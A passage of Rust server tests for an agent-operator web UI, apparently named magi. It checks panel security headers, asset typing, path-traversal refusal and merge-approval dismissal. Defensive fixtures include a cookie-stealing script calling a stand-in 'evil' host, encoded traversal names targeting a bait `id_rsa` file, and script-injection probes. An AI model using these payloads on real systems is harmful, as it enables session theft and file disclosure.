11750        if let Some(body) = body {
11751            head.push_str("Content-Type: application/json\r\n");
11752            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
11753        }
11754        head.push_str("\r\n");
11755        if let Some(body) = body {
11756            head.push_str(body);
11757        }
11758        let mut socket = tokio::net::TcpStream::connect(addr)
11759            .await
11760            .expect("connect to the test server");
11761        socket
11762            .write_all(head.as_bytes())
11763            .await
11764            .expect("write request");
11765        let mut raw = Vec::new();
11766        socket.read_to_end(&mut raw).await.expect("read response");
11767        // Split on the raw bytes rather than on a lossy string, so a binary
11768        // body survives to be compared byte for byte.
11769        let split = raw
11770            .windows(4)
11771            .position(|w| w == b"\r\n\r\n")
11772            .expect("a header block");
11773        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11774        let bytes = raw[split + 4..].to_vec();
11775        let status = head
11776            .lines()
11777            .next()
11778            .and_then(|line| line.split_whitespace().nth(1))
11779            .and_then(|code| code.parse().ok())
11780            .expect("a status line");
11781        Res {
11782            status,
11783            headers: head.to_lowercase(),
11784            head,
11785            body: String::from_utf8_lossy(&bytes).into_owned(),
11786            bytes,
11787        }
11788    }
11789
11790    /// A `POST` carrying a raw binary body and its own headers, for the
11791    /// attachment upload route - `request_with` only ever sends
11792    /// `Content-Type: application/json`, which is wrong for an image and
11793    /// would corrupt anything not valid UTF-8 by round-tripping it through
11794    /// `&str` first.
11795    async fn request_bytes(
11796        addr: SocketAddr,
11797        path: &str,
11798        headers: &[(&str, &str)],
11799        body: &[u8],
11800    ) -> Res {
11801        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11802        for (name, value) in headers {
11803            head.push_str(&format!("{name}: {value}\r\n"));
11804        }
11805        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
11806        let mut socket = tokio::net::TcpStream::connect(addr)
11807            .await
11808            .expect("connect to the test server");
11809        socket
11810            .write_all(head.as_bytes())
11811            .await
11812            .expect("write request head");
11813        socket.write_all(body).await.expect("write request body");
11814        let mut raw = Vec::new();
11815        socket.read_to_end(&mut raw).await.expect("read response");
11816        let split = raw
11817            .windows(4)
11818            .position(|w| w == b"\r\n\r\n")
11819            .expect("a header block");
11820        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11821        let bytes = raw[split + 4..].to_vec();
11822        let status = head
11823            .lines()
11824            .next()
11825            .and_then(|line| line.split_whitespace().nth(1))
11826            .and_then(|code| code.parse().ok())
11827            .expect("a status line");
11828        Res {
11829            status,
11830            headers: head.to_lowercase(),
11831            head,
11832            body: String::from_utf8_lossy(&bytes).into_owned(),
11833            bytes,
11834        }
11835    }
11836
11837    /// A run on disk, without touching the process-global magi home.
11838    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
11839        let mut state = RunState::new(
11840            PathBuf::from("/repo/magi"),
11841            "main".to_owned(),
11842            "0123456789abcdef".to_owned(),
11843            "Add a web UI\n\nMobile first.".to_owned(),
11844            Config::default(),
11845        );
11846        state.id = id.to_owned();
11847        state.status = status;
11848        let dir = runs.join(id);
11849        std::fs::create_dir_all(&dir).expect("run dir");
11850        std::fs::write(
11851            dir.join("run.json"),
11852            serde_json::to_string_pretty(&state).expect("serialize run"),
11853        )
11854        .expect("write run.json");
11855    }
11856
11857    /// Same as [`write_run`], but against a named repository rather than the
11858    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
11859    /// spread across more than one.
11860    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
11861        let mut state = RunState::new(
11862            PathBuf::from(repo),
11863            "main".to_owned(),
11864            "0123456789abcdef".to_owned(),
11865            "task".to_owned(),
11866            Config::default(),
11867        );
11868        state.id = id.to_owned();
11869        state.status = status;
11870        let dir = runs.join(id);
11871        std::fs::create_dir_all(&dir).expect("run dir");
11872        std::fs::write(
11873            dir.join("run.json"),
11874            serde_json::to_string_pretty(&state).expect("serialize run"),
11875        )
11876        .expect("write run.json");
11877    }
11878
11879    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
11880        let body = serde_json::json!({
11881            "schema": 1,
11882            "pid": 4242,
11883            "started_at": Timestamp::now().to_string(),
11884            "updated_at": updated_at.to_string(),
11885            "idle": false,
11886            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
11887            "completed": 7,
11888            "polls": 143,
11889        });
11890        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
11891    }
11892
11893    /// A loop that starts, finds nothing to do, and waits to be told to stop.
11894    ///
11895    /// No test in this file may start the real loop - see [`Ui::launch`] for
11896    /// why - so this stands in for the only thing the routes need a loop to
11897    /// do: keep running until `Stop` is set, then return. A real
11898    /// `serve_until` here would resolve its queue and its status file through
11899    /// the process-global magi home, claim whatever it found in the
11900    /// operator's live backlog, overwrite the status file of the `magi serve`
11901    /// that owns it, and spend real agent quota on a real competition.
11902    fn launch_idle(
11903        _opts: daemon::Opts,
11904        stop: daemon::Stop,
11905    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11906        Box::pin(async move {
11907            while !stop.stopped() {
11908                tokio::time::sleep(Duration::from_millis(2)).await;
11909            }
11910            Ok(())
11911        })
11912    }
11913
11914    /// A loop that fails on the way up, the way one whose home has gone
11915    /// read-only does.
11916    fn launch_broken(
11917        _opts: daemon::Opts,
11918        _stop: daemon::Stop,
11919    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11920        // The stand-in dies instantly, so a restarted one can record its own
11921        // failure before the start's response is read. The second attempt
11922        // therefore fails with a different message, to tell a stale error
11923        // from a fresh one.
11924        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
11925        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
11926        Box::pin(async move {
11927            Err(anyhow::anyhow!(if first {
11928                "publish the daemon status file: read-only file system"
11929            } else {
11930                "the restarted stand-in failed as well"
11931            }))
11932        })
11933    }
11934
11935    /// The loop view once `want` accepts it.
11936    ///
11937    /// Polled rather than asserted straight after the POST because stopping
11938    /// is deliberately not instant - that is the contract - and rather than
11939    /// slept through because a fixed wait is either flaky or slow.
11940    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
11941    /// finite, so a genuine hang fails the test instead of hanging the
11942    /// suite.
11943    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
11944        for _ in 0..SETTLE_STEPS {
11945            let view = fx.get("/api/loop").await.json();
11946            if want(&view) {
11947                return view;
11948            }
11949            tokio::time::sleep(Duration::from_millis(10)).await;
11950        }
11951        panic!(
11952            "the loop never settled: {}",
11953            fx.get("/api/loop").await.json()
11954        );
11955    }
11956
11957    /// File an open question directly in the store the server reads.
11958    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11959        let store = fx.questions();
11960        let mut q = Question::new(
11961            "20260902-000000-beef".to_owned(),
11962            "implement".to_owned(),
11963            "impl-A".to_owned(),
11964            summary.to_owned(),
11965            "because it matters".to_owned(),
11966            choices.iter().map(|c| (*c).to_owned()).collect(),
11967        );
11968        store.put(&mut q).expect("put question");
11969        q.id
11970    }
11971
11972    /// A question with a panel the server can serve, plus the named assets.
11973    ///
11974    /// Written through `Questions::put_panel` rather than by laying out the
11975    /// directory here, so these tests exercise the same on-disk shape the
11976    /// agents produce and cannot pass against a layout only the tests know.
11977    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11978        let store = fx.questions();
11979        let mut q = Question::new(
11980            "20260902-000000-beef".to_owned(),
11981            "land".to_owned(),
11982            "fix".to_owned(),
11983            "Merge this?".to_owned(),
11984            "the diff is in the panel".to_owned(),
11985            vec!["merge".to_owned(), "hold".to_owned()],
11986        );
11987        // Staged outside the questions root, because `put_panel` copies from
11988        // wherever the agent left its files.
11989        let staging = fx.home.path().join("staging");
11990        std::fs::create_dir_all(&staging).expect("staging dir");
11991        let sources: Vec<PathBuf> = assets
11992            .iter()
11993            .map(|(name, bytes)| {
11994                let path = staging.join(name);
11995                std::fs::write(&path, bytes).expect("write staged asset");
11996                path
11997            })
11998            .collect();
11999        store
12000            .put_panel(&mut q, html, &sources)
12001            .expect("write the panel");
12002        store.put(&mut q).expect("put question");
12003        q.id
12004    }
12005
12006    /// A talk on disk, without talking to a model.
12007    ///
12008    /// Written as JSON straight into the store the server reads, because the
12009    /// only constructor `talk::begin` offers takes no turn but still requires
12010    /// a real caller-visible flow. The one thing this cannot make up is the
12011    /// seat, so it is built with the real `SeatState::new` and serialized -
12012    /// the alternative, hand-writing that object, would make these tests fail
12013    /// the day the seat gains a field.
12014    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
12015        seed_talk_at(&fx.talks(), id, status)
12016    }
12017
12018    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
12019        std::fs::create_dir_all(store.root()).expect("talks dir");
12020        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
12021            .expect("serialize a seat");
12022        let body = serde_json::json!({
12023            "schema": 1,
12024            "id": id,
12025            "repo": "/repo/magi",
12026            "agent": "mock",
12027            "status": status,
12028            "turns": [],
12029            "created_at": Timestamp::now().to_string(),
12030            "updated_at": Timestamp::now().to_string(),
12031            "seat": seat,
12032        });
12033        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
12034        store.get(id).expect("the seeded talk has to be readable");
12035        id.to_owned()
12036    }
12037
12038    #[tokio::test]
12039    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
12040        let fx = Fixture::start().await;
12041        let id = panel(
12042            &fx,
12043            "<h1>Merge?</h1><img src=\"diff.svg\">",
12044            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
12045        );
12046
12047        for path in [
12048            format!("/api/questions/{id}/panel"),
12049            format!("/api/questions/{id}/asset/diff.svg"),
12050        ] {
12051            let res = fx.get(&path).await;
12052            assert_eq!(res.status, 200, "{path}: {}", res.body);
12053            // The whole string, not a substring. A weakened directive - an
12054            // `img-src *` that lets a panel beacon out to a remote host, a
12055            // `script-src` anything, a missing `form-action` that lets it post
12056            // the owner's decision to a third party - has to fail here, and a
12057            // `contains` assertion would let every one of those through.
12058            assert_eq!(
12059                res.header("content-security-policy"),
12060                Some(
12061                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
12062                     font-src data:; base-uri 'none'; form-action 'none'; \
12063                     frame-ancestors 'self'"
12064                ),
12065                "{path} is the only thing between a hostile panel and the tailnet"
12066            );
12067            assert_eq!(
12068                res.header("x-content-type-options"),
12069                Some("nosniff"),
12070                "{path}: a browser must not re-decide the type we sent"
12071            );
12072            assert_eq!(
12073                res.header("referrer-policy"),
12074                Some("no-referrer"),
12075                "{path}: a panel must not leak the question id off the machine"
12076            );
12077
12078            // The front end mounts the frame only after a `HEAD` says the
12079            // panel is there, so `HEAD` has to answer with the same status and
12080            // the same policy as `GET` - a preflight that came back without
12081            // the CSP would mean a frame mounted on an unverified promise.
12082            let pre = fx.head(&path).await;
12083            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
12084            assert_eq!(
12085                pre.header("content-security-policy"),
12086                res.header("content-security-policy"),
12087                "{path}: the preflight carries the same policy"
12088            );
12089            assert_eq!(
12090                pre.header("content-type"),
12091                res.header("content-type"),
12092                "{path}: the preflight carries the same type"
12093            );
12094        }
12095    }
12096
12097    #[tokio::test]
12098    async fn a_panel_reaches_the_browser_byte_for_byte() {
12099        let fx = Fixture::start().await;
12100        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
12101        // tag, an entity, and a multi-byte character. The sandbox is what makes
12102        // this safe, so nothing here may be rewritten on the way out - a
12103        // rewritten diff is a diff the owner cannot trust.
12104        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
12105        let id = panel(&fx, html, &[]);
12106
12107        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
12108
12109        assert_eq!(res.status, 200);
12110        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
12111        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
12112        assert_eq!(
12113            res.header("content-disposition"),
12114            None,
12115            "the panel itself is rendered in the frame, not downloaded"
12116        );
12117    }
12118
12119    #[tokio::test]
12120    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
12121        let fx = Fixture::start().await;
12122        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
12123        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
12124        let id = panel(
12125            &fx,
12126            "<img src=\"diff.svg\"><img src=\"shot.png\">",
12127            &[("diff.svg", svg), ("shot.png", png)],
12128        );
12129
12130        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
12131        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
12132
12133        assert_eq!(as_svg.status, 200);
12134        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
12135        // An SVG is XML that may carry script. Inside the panel it is an
12136        // `<img src>` and the script cannot run; opened at the top level it
12137        // would be a document on magi's own origin, so the browser is told to
12138        // download it instead of rendering it.
12139        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
12140
12141        assert_eq!(as_png.status, 200);
12142        assert_eq!(as_png.header("content-type"), Some("image/png"));
12143        assert_eq!(
12144            as_png.header("content-disposition"),
12145            None,
12146            "a raster image has no execution surface, so tapping it still shows it"
12147        );
12148        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
12149    }
12150
12151    #[tokio::test]
12152    async fn an_html_asset_is_never_served_as_html() {
12153        let fx = Fixture::start().await;
12154        let id = panel(
12155            &fx,
12156            "<p>see the notes</p>",
12157            &[
12158                (
12159                    "notes.html",
12160                    b"<script>fetch('http://evil/'+document.cookie)</script>",
12161                ),
12162                ("hook.js", b"fetch('http://evil/')"),
12163                ("data.json", b"{}"),
12164                ("HEADLINE.TXT", b"plain"),
12165            ],
12166        );
12167
12168        for name in ["notes.html", "hook.js", "data.json"] {
12169            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
12170            assert_eq!(res.status, 200, "{name}: {}", res.body);
12171            // Serving this as text/html would be a way to reach agent markup
12172            // at the top level of the operator's browser, outside the frame's
12173            // sandbox and outside its CSP - which is the whole thing the panel
12174            // design exists to prevent. Unlisted types are downloads.
12175            assert_eq!(
12176                res.header("content-type"),
12177                Some("application/octet-stream"),
12178                "{name} must not be a type the browser will execute or render"
12179            );
12180        }
12181        // The whitelist is matched case-insensitively, so an agent shouting the
12182        // extension still gets a readable file rather than a download.
12183        let txt = fx
12184            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
12185            .await;
12186        assert_eq!(
12187            txt.header("content-type"),
12188            Some("text/plain; charset=utf-8")
12189        );
12190    }
12191
12192    #[tokio::test]
12193    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
12194        let fx = Fixture::start().await;
12195        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12196        // Something outside the panel directory that a traversal would reach if
12197        // one got through, so a passing test is not merely "the file was
12198        // missing anyway".
12199        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
12200
12201        // Decoded before this server's handler sees them: axum percent-decodes
12202        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
12203        // string with a NUL in it. All three look like ordinary single-segment
12204        // filenames to the router, so the router passes them through and
12205        // `valid_asset_name` is what refuses them - for the literal `..`, and
12206        // for `/`, `\` and NUL not being in the permitted character set.
12207        for encoded in [
12208            "%2e%2e%2fid_rsa",
12209            "..%2fid_rsa",
12210            "..%5cid_rsa",
12211            "%2e%2e%5cid_rsa",
12212            "diff%00.svg",
12213            "..",
12214            ".hidden",
12215            "%2e%2e%2f%2e%2e%2fid_rsa",
12216        ] {
12217            let res = fx
12218                .get(&format!("/api/questions/{id}/asset/{encoded}"))
12219                .await;
12220            assert_eq!(
12221                res.status, 400,
12222                "`{encoded}` has to be refused by name, not looked up: {}",
12223                res.body
12224            );
12225            assert!(res.json()["error"].is_string(), "{}", res.body);
12226        }
12227
12228        // Not decoded, and never this handler's problem: a real slash makes the
12229        // request one segment too long for `/api/questions/{id}/asset/{name}`,
12230        // so axum's router has no route to match and answers before any code
12231        // here runs. Asserted so that a future route with a wildcard segment
12232        // cannot quietly open this door.
12233        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
12234            let res = fx
12235                .get(&format!("/api/questions/{id}/asset/{literal}"))
12236                .await;
12237            assert_eq!(
12238                res.status, 404,
12239                "`{literal}` must not match the asset route at all: {}",
12240                res.body
12241            );
12242        }
12243    }
12244
12245    #[tokio::test]
12246    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
12247        let fx = Fixture::start().await;
12248        let plain = ask(&fx, "Which backend?", &["SQLite"]);
12249        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12250
12251        // A question nobody wrote a panel for. The client preflights with HEAD
12252        // and cannot see inside a sandboxed frame, so this must be a status and
12253        // not an empty page.
12254        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
12255        assert_eq!(none.status, 404, "{}", none.body);
12256        assert!(none.json()["error"].is_string(), "{}", none.body);
12257        assert_eq!(
12258            fx.head(&format!("/api/questions/{plain}/panel"))
12259                .await
12260                .status,
12261            404,
12262            "the preflight is the only way the client can learn this"
12263        );
12264
12265        // A name that is perfectly legal and simply is not there.
12266        let missing = fx
12267            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
12268            .await;
12269        assert_eq!(missing.status, 404, "{}", missing.body);
12270        assert!(missing.json()["error"].is_string(), "{}", missing.body);
12271
12272        // A question that does not exist at all, on both routes.
12273        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
12274        assert_eq!(
12275            fx.get("/api/questions/nope/asset/diff.svg").await.status,
12276            404
12277        );
12278    }
12279
12280    #[tokio::test]
12281    async fn a_run_with_an_open_question_reads_as_waiting() {
12282        let fx = Fixture::start().await;
12283        let run = "20260902-000000-beef".to_owned();
12284        write_run(&fx.runs(), &run, RunStatus::Implementing);
12285
12286        let before = fx.get("/api/runs").await.json();
12287        assert_eq!(before[0]["waiting"], false, "{before}");
12288
12289        let store = fx.questions();
12290        let mut q = Question::new(
12291            run.clone(),
12292            "implement".to_owned(),
12293            "impl-A".to_owned(),
12294            "Which backend?".to_owned(),
12295            String::new(),
12296            vec!["SQLite".to_owned()],
12297        );
12298        store.put(&mut q).expect("put");
12299
12300        let during = fx.get("/api/runs").await.json();
12301        assert_eq!(during[0]["waiting"], true, "{during}");
12302
12303        // Answered: the run is moving again, and the flag has to follow without
12304        // anything having rewritten run.json.
12305        q.answer(Answer::Choice("SQLite".to_owned()))
12306            .expect("answer");
12307        store.put(&mut q).expect("put");
12308        let after = fx.get("/api/runs").await.json();
12309        assert_eq!(after[0]["waiting"], false, "{after}");
12310    }
12311
12312    #[tokio::test]
12313    async fn an_open_question_is_listed_and_counted_by_health() {
12314        let fx = Fixture::start().await;
12315        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12316
12317        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12318        let listed = fx.get("/api/questions").await.json();
12319        assert_eq!(listed.as_array().expect("array").len(), 1);
12320        assert_eq!(listed[0]["id"], id);
12321        assert_eq!(listed[0]["status"], "open");
12322        assert_eq!(listed[0]["choices"][1], "Redis");
12323        // The count is what makes the phone's indicator honest: it is the one
12324        // number meaning nothing will move until a human acts.
12325        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12326    }
12327
12328    fn obsolete_approval_state() -> RunState {
12329        let mut state = crate::land::tests::repair_state(true, true);
12330        state.pr = Some(crate::run::PrRecord {
12331            url: "https://github.com/example/repo/pull/42".into(),
12332            number: 42,
12333            state: "open".into(),
12334            checks: "green".into(),
12335            round: 1,
12336            rounds: 4,
12337            red_at_merge: Vec::new(),
12338        });
12339        state
12340    }
12341
12342    #[tokio::test]
12343    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
12344        for owner in ["missing", "current", "completed", "later"] {
12345            let fx = Fixture {
12346                home: TempDir::new().unwrap(),
12347                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12348            };
12349            let mut state = obsolete_approval_state();
12350            state.status = RunStatus::Landing;
12351            state.parked = true;
12352            state.driver_exited = true;
12353            let mut q = Question::new(
12354                state.id.clone(),
12355                crate::land::APPROVAL_NODE.into(),
12356                "land".into(),
12357                "Old approval".into(),
12358                "Original evidence".into(),
12359                vec!["merge".into(), "hold".into()],
12360            );
12361            state.land_approval = Some(crate::run::LandApproval {
12362                question: q.id.clone(),
12363                head: "head".into(),
12364            });
12365            state.save_under(fx.home.path()).unwrap();
12366            let stale = state.clone();
12367            fx.questions().put(&mut q).unwrap();
12368            let mut task = Task::new(
12369                "Owner".into(),
12370                "Original instruction".into(),
12371                state.repo.clone(),
12372                Source::Human,
12373            );
12374            task.runs.push(state.id.clone());
12375            task.status = if owner == "completed" {
12376                TaskStatus::Done
12377            } else {
12378                TaskStatus::Parked
12379            };
12380            if owner == "later" {
12381                task.runs.push("later-run".into());
12382            }
12383            if owner != "missing" {
12384                fx.queue().put(&mut task).unwrap();
12385            }
12386            let ui = Arc::new(Ui::new(
12387                fx.queue(),
12388                fx.questions(),
12389                fx.talks(),
12390                fx.runs(),
12391                fx.home.path().into(),
12392                state.repo.clone(),
12393            ));
12394            let response = question_answer(
12395                State(ui),
12396                Path(q.id.clone()),
12397                Ok(Json(NewAnswer {
12398                    choice: Some(crate::merge_decision::DISMISS.into()),
12399                    text: None,
12400                    ..Default::default()
12401                })),
12402            )
12403            .await
12404            .unwrap();
12405            assert_eq!(
12406                response.0.question.resolution().as_deref(),
12407                Some(crate::merge_decision::DISMISS)
12408            );
12409            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12410            assert_eq!(disk.status, RunStatus::Superseded);
12411            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12412            assert!(!crate::merge_decision::resumable_hold(&disk));
12413            assert_eq!(
12414                serde_json::to_value(&disk.pr).unwrap(),
12415                serde_json::to_value(&stale.pr).unwrap()
12416            );
12417            assert_eq!(fx.questions().count_open(), 0);
12418            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12419            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12420            if owner == "missing" {
12421                assert!(fx.queue().list().is_empty());
12422            } else {
12423                let after = fx.queue().get(&task.id).unwrap();
12424                assert_eq!(
12425                    after.status,
12426                    if owner == "current" {
12427                        TaskStatus::Done
12428                    } else {
12429                        task.status
12430                    }
12431                );
12432                assert_eq!(after.runs, task.runs);
12433                assert_eq!(after.instruction, task.instruction);
12434                assert_eq!(after.action_applied(&q.id), owner == "current");
12435            }
12436        }
12437    }
12438
12439    #[tokio::test]
12440    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12441        let fx = Fixture::start().await;
12442        let mut state = obsolete_approval_state();
12443        state.status = RunStatus::Landing;
12444        state.parked = true;
12445        state.driver_exited = true;
12446        let mut q = Question::new(
12447            state.id.clone(),
12448            crate::land::APPROVAL_NODE.into(),
12449            "land".into(),
12450            "Superseded PR approval".into(),
12451            "Original review evidence".into(),
12452            vec!["merge".into(), "hold".into()],
12453        );
12454        state.land_approval = Some(crate::run::LandApproval {
12455            question: q.id.clone(),
12456            head: "old-reviewed-head".into(),
12457        });
12458        // The old persisted PR may still say open even when a separate change
12459        // already landed. Dismissal must not use that snapshot to close it.
12460        state.save_under(fx.home.path()).unwrap();
12461        let stale_driver = state.clone();
12462        fx.questions().put(&mut q).unwrap();
12463        let path = fx
12464            .home
12465            .path()
12466            .join("questions")
12467            .join(format!("{}.json", q.id));
12468        let mut legacy = serde_json::to_value(&q).unwrap();
12469        legacy["schema"] = 9.into();
12470        legacy.as_object_mut().unwrap().remove("merge_target");
12471        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12472
12473        // POST without GET tests legacy upgrade and validation at the actual
12474        // entry point, rather than constructing a modern card in the test.
12475        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12476        let answer_path = format!("/api/questions/{}/answer", q.id);
12477        let res = fx.post(&answer_path, Some(&body)).await;
12478        assert_eq!(res.status, 200, "{}", res.body);
12479        let disk = fx.questions().get(&q.id).unwrap();
12480        assert_eq!(
12481            disk.resolution().as_deref(),
12482            Some(crate::merge_decision::DISMISS)
12483        );
12484        assert!(disk.detail.starts_with("Original review evidence"));
12485        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12486        assert_eq!(retired.status, RunStatus::Superseded);
12487        assert_eq!(
12488            serde_json::to_value(&retired.pr).unwrap(),
12489            serde_json::to_value(&state.pr).unwrap()
12490        );
12491        assert!(!retired.merge_decision.as_ref().unwrap().closed);
12492        assert!(!crate::merge_decision::resumable_hold(&retired));
12493        assert!(fx.queue().list().is_empty());
12494        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12495        // A restarted server re-reads the persisted pending list.
12496        let addr = Fixture::serve(
12497            fx.home.path(),
12498            PathBuf::from("/repo/magi"),
12499            launch_idle,
12500            None,
12501        )
12502        .await;
12503        let reconnected = Fixture {
12504            home: fx.home,
12505            addr,
12506        };
12507        let listed = reconnected.get("/api/questions").await.json();
12508        assert!(
12509            listed
12510                .as_array()
12511                .unwrap()
12512                .iter()
12513                .all(|q| q["status"] != "open")
12514        );
12515        assert_eq!(listed[0]["id"], q.id, "history remains available");
12516        assert_eq!(
12517            reconnected.get("/api/health").await.json()["questions_open"],
12518            0
12519        );
12520        assert_eq!(
12521            reconnected
12522                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12523                .await
12524                .status,
12525            409
12526        );
12527        // A late waiter cannot turn the old answer into a new decision.
12528        assert!(
12529            reconnected
12530                .questions()
12531                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12532                .is_err()
12533        );
12534        // The same guard used by claims, repair and publication rejects a
12535        // saved in-memory driver as well as the persisted terminal record.
12536        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12537    }
12538
12539    #[tokio::test]
12540    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
12541        let fx = Fixture::start().await;
12542        let mut state = obsolete_approval_state();
12543        state.status = RunStatus::Landing;
12544        state.driver_exited = true;
12545        let mut q = Question::new(
12546            state.id.clone(),
12547            crate::land::APPROVAL_NODE.into(),
12548            "land".into(),
12549            "Obsolete approval".into(),
12550            String::new(),
12551            vec!["merge".into(), "hold".into()],
12552        );
12553        state.land_approval = Some(crate::run::LandApproval {
12554            question: q.id.clone(),
12555            head: "head".into(),
12556        });
12557        state.save_under(fx.home.path()).unwrap();
12558        fx.questions().put(&mut q).unwrap();
12559        let mut task = Task::new(
12560            "Owner".into(),
12561            "Original instruction".into(),
12562            state.repo.clone(),
12563            Source::Human,
12564        );
12565        task.runs = vec![state.id.clone(), "later-run".into()];
12566        fx.queue().put(&mut task).unwrap();
12567        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12568        let claim = fx.queue().claim(&task.id).unwrap();
12569        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12570        let path = format!("/api/questions/{}/answer", q.id);
12571        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12572        assert!(fx.questions().get(&q.id).unwrap().status.open());
12573        drop(claim);
12574        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12575        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12576        assert!(fx.questions().get(&q.id).unwrap().status.open());
12577        drop(publication);
12578        // Unknown liveness and armed auto-merge both fail without settling.
12579        state.driver_exited = false;
12580        state.driver_pid = None;
12581        state.driver_claimed = None; // No durable proof of an unstarted execution.
12582        state.save_under(fx.home.path()).unwrap();
12583        assert_eq!(
12584            state.liveness_under(fx.home.path(), false),
12585            crate::run::Liveness::Unknown
12586        );
12587
12588        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12589        state.driver_exited = true;
12590        state.land_armed_head = Some("head".into());
12591        state.save_under(fx.home.path()).unwrap();
12592        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12593        state.land_armed_head = None;
12594        state.save_under(fx.home.path()).unwrap();
12595        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12596        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12597        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12598    }
12599
12600    #[tokio::test]
12601    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12602        let fx = Fixture::start().await;
12603        let mut state = obsolete_approval_state();
12604        state.status = RunStatus::Landing;
12605        state.driver_exited = true;
12606        let mut q = Question::new(
12607            state.id.clone(),
12608            crate::land::APPROVAL_NODE.into(),
12609            "land".into(),
12610            "Obsolete approval".into(),
12611            String::new(),
12612            vec!["merge".into(), "hold".into()],
12613        );
12614        state.land_approval = Some(crate::run::LandApproval {
12615            question: q.id.clone(),
12616            head: "head".into(),
12617        });
12618        state.save_under(fx.home.path()).unwrap();
12619        fx.questions().put(&mut q).unwrap();
12620        let mut task = Task::new(
12621            "Owner".into(),
12622            "Original instruction".into(),
12623            state.repo.clone(),
12624            Source::Human,
12625        );
12626        task.runs.push(state.id.clone());
12627        task.status = TaskStatus::Parked;
12628        fx.queue().put(&mut task).unwrap();
12629        // Model a crash after the run stop was persisted but before the queue
